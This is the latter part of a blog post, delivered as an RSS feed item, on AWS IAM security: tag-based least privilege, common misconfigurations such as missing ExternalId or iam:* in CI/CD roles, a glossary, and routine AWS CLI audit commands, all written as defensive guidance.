<p>Even if a role gets over-permissioned, it cannot create users, escalate its own privileges, or pass roles to expand its access. Defense in depth against the privilege escalation paths covered in <a href="/cloud-iam-privilege-escalation/">AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise</a>.</p>
<h3 id="least-privilege-with-tag-conditions">Least privilege with tag conditions</h3>
<pre><code class="" data-line="">{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: [&quot;ec2:StartInstances&quot;, &quot;ec2:StopInstances&quot;, &quot;ec2:RebootInstances&quot;],
  &quot;Resource&quot;: &quot;arn:aws:ec2:*:*:instance/*&quot;,
  &quot;Condition&quot;: {
    &quot;StringEquals&quot;: {
      &quot;aws:ResourceTag/Environment&quot;: &quot;dev&quot;,
      &quot;aws:ResourceTag/Owner&quot;: &quot;${aws:username}&quot;
    }
  }
}
</code></pre>
<p>A developer can control EC2 instances in dev — specifically the ones tagged as theirs. Not prod. Not someone else&#8217;s instances. ABAC layered on a role, eliminating a class of privilege escalation through direct resource access.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<pre><code class="" data-line="">╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 1 — SCPs don&#039;t apply to the management account          ║
║                                                                      ║
║  SCPs are applied to member accounts and OUs — not to the org      ║
║  management account. Guardrails you apply to member accounts do    ║
║  not protect the management account itself.                         ║
║                                                                      ║
║  Fix: lock down the management account separately. Use it only for  ║
║  billing and org management. Never run workloads in it.             ║
╚══════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 2 — Permissions boundary ≠ policy grant                 ║
║                                                                      ║
║  A boundary that allows s3:* does NOT grant S3 access. The         ║
║  boundary is a ceiling. Effective permissions are the intersection  ║
║  of boundary + identity policy. Both must explicitly Allow.         ║
║                                                                      ║
║  Fix: after setting a boundary, check effective permissions with:   ║
║  aws iam simulate-principal-policy                                  ║
╚══════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 3 — Cross-account trust without ExternalId              ║
║                                                                      ║
║  A trust policy that names any principal from Account A without     ║
║  ExternalId can be exploited if you operate a multi-tenant service. ║
║  An attacker can craft a request that tricks your service into      ║
║  assuming a victim&#039;s role (confused deputy).                        ║
║                                                                      ║
║  Fix: always add ExternalId condition to third-party trust policies.║
╚══════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════╗
║  &#x26a0;  GOTCHA 4 — iam:* on * in CI/CD role                           ║
║                                                                      ║
║  &quot;The pipeline needs to create roles&quot; is a legitimate requirement.  ║
║  Granting iam:* on * is not. It lets the pipeline create any role  ║
║  with any permissions — effectively full account access.            ║
║                                                                      ║
║  Fix: grant specific iam: actions, require all created roles to     ║
║  carry a permissions boundary. Delegate without escalating.         ║
╚══════════════════════════════════════════════════════════════════════╝
</code></pre>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<pre><code class="" data-line="">┌───────────────────────────┬───────────────────────────────────────────────────────────┐
│ Term                      │ What it is                                                │
├───────────────────────────┼───────────────────────────────────────────────────────────┤
│ IAM User                  │ Permanent identity with long-lived credentials — legacy   │
│ IAM Role                  │ Assumable identity; STS issues temp creds — preferred     │
│ Trust policy              │ Who can assume this role (separate from permissions)      │
│ Instance profile          │ Container that attaches a role to an EC2 instance        │
│ AWS Managed policy        │ Broad, maintained by AWS — avoid in production           │
│ Customer Managed policy   │ You own it, you scope it — correct default               │
│ Inline policy             │ 1:1 binding, non-reusable — use only when intentional    │
│ SCP                       │ Org-level guardrail; constrains, does not grant          │
│ Permissions boundary      │ Identity-level ceiling; intersection with policy = effective│
│ Session policy            │ Restricts a specific role assumption session             │
│ ExternalId                │ Shared secret in cross-account trust — prevents confused deputy│
│ IAM Identity Center       │ Federated human access via SSO; no long-lived keys       │
│ Permission Set            │ Policy collection in Identity Center → becomes role in account│
└───────────────────────────┴───────────────────────────────────────────────────────────┘

Commands to know:
┌────────────────────────────────────────────────────────────────────────────────────────┐
│  # Simulate a policy before deploying — will this call succeed?                      │
│  aws iam simulate-principal-policy \                                                  │
│    --policy-source-arn arn:aws:iam::ACCOUNT:role/MyRole \                            │
│    --action-names s3:GetObject \                                                      │
│    --resource-arns arn:aws:s3:::my-bucket/*                                          │
│                                                                                        │
│  # Full IAM snapshot of the account — all users, roles, policies, groups            │
│  aws iam get-account-authorization-details --output json &gt; iam-snapshot.json         │
│                                                                                        │
│  # Find unused permissions — what does this role actually call?                      │
│  aws iam generate-service-last-accessed-details \                                     │
│    --arn arn:aws:iam::ACCOUNT:role/MyRole                                            │
│  aws iam get-service-last-accessed-details --job-id JOB_ID                           │
│                                                                                        │
│  # List all access keys and their age                                                │
│  aws iam list-users --query &#039;Users[].UserName&#039; --output text | \                    │
│    xargs -I{} aws iam list-access-keys --user-name {}                               │
│                                                                                        │
│  # Check effective permissions boundary on a role                                    │
│  aws iam get-role --role-name MyRole \                                               │
│    --query &#039;Role.PermissionsBoundary&#039;                                                │
│                                                                                        │
│  # Assume a cross-account role                                                       │
│  aws sts assume-role \                                                                │
│    --role-arn arn:aws:iam::TARGET_ACCOUNT:role/CrossAccountRole \                   │
│    --role-session-name deploy-session \                                               │
│    --external-id your-external-id                                                    │
└────────────────────────────────────────────────────────────────────────────────────────┘
</code></pre>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>What It Covers Here</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 5 — Identity and Access Management</td>
<td>AWS IAM is the most widely deployed cloud IAM system; this covers the full model</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 6 — Security Assessment and Testing</td>
<td>Policy evaluation logic is the foundation for cloud security assessments</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.15 Access control</td>
<td>Access control policy in AWS — SCPs, identity-based policies, resource-based policies</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.18 Access rights</td>
<td>User and role provisioning, permission boundaries, Identity Center assignments</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.2 Privileged access rights</td>
<td>IAM Identity Center, SCPs as org-level guardrails, least-privilege role design</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>AWS IAM is the primary technical control for CC6.1 in AWS-hosted environments</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.3</td>
<td>Identity Center with federation enables auditable access provisioning and removal</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.6</td>
<td>Cross-account trust relationships and ExternalId address third-party access controls</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>IAM users with static access keys are legacy for human access — use IAM Identity Center with federation; static keys are a persistent finding</li>
<li>Roles issue temporary credentials and are the right identity for every service — Lambda, EC2, ECS, CI/CD, cross-account</li>
<li>Trust policy controls who can assume a role; permission policy controls what the role can do — debug both when access fails</li>
<li>SCPs cap maximum permissions at org level and cannot be overridden — use them for region restriction and audit trail protection; they do not apply to the management account</li>
<li>Permissions boundaries cap at identity level — effective permissions are the intersection with identity-based policies, not the union</li>
<li>Cross-account trust without <code class="" data-line="">ExternalId</code> is vulnerable to confused deputy — always include it with third-party trust</li>
<li>One role per service; share nothing — a shared role&#8217;s blast radius is the union of every consumer&#8217;s required permissions</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP05 moves to GCP IAM — a fundamentally different model where the resource hierarchy drives access inheritance. A misconfiguration at the folder level affects every project below it. We&#8217;ll cover why <code class="" data-line="">roles/editor</code> keeps appearing in production audits and how to build a GCP IAM structure that composes correctly up the hierarchy.</p>
<p>Get the GCP IAM deep dive in your inbox when it publishes → https://linuxcent.com/subscribe</p>
<p><em>Next: <a href="/gcp-iam-deep-dive/">GCP IAM Policy Inheritance: How the Resource Hierarchy Controls Access</a></em></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&amp;linkname=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Faws-iam-deep-dive%2F&#038;title=AWS%20IAM%20Deep%20Dive%3A%20Users%2C%20Groups%2C%20Roles%2C%20and%20Policies%20Explained" data-a2a-url="https://linuxcent.com/aws-iam-deep-dive/" data-a2a-title="AWS IAM Deep Dive: Users, Groups, Roles, and Policies Explained"></a></p><p>The post <a href="https://linuxcent.com/aws-iam-deep-dive/">AWS IAM Deep Dive: Users, Groups, Roles, and Policies Explained</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/aws-iam-deep-dive/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1459</post-id>	</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 

Served from: linuxcent.com @ 2026-08-25 10:14:33 by W3 Total Cache
-->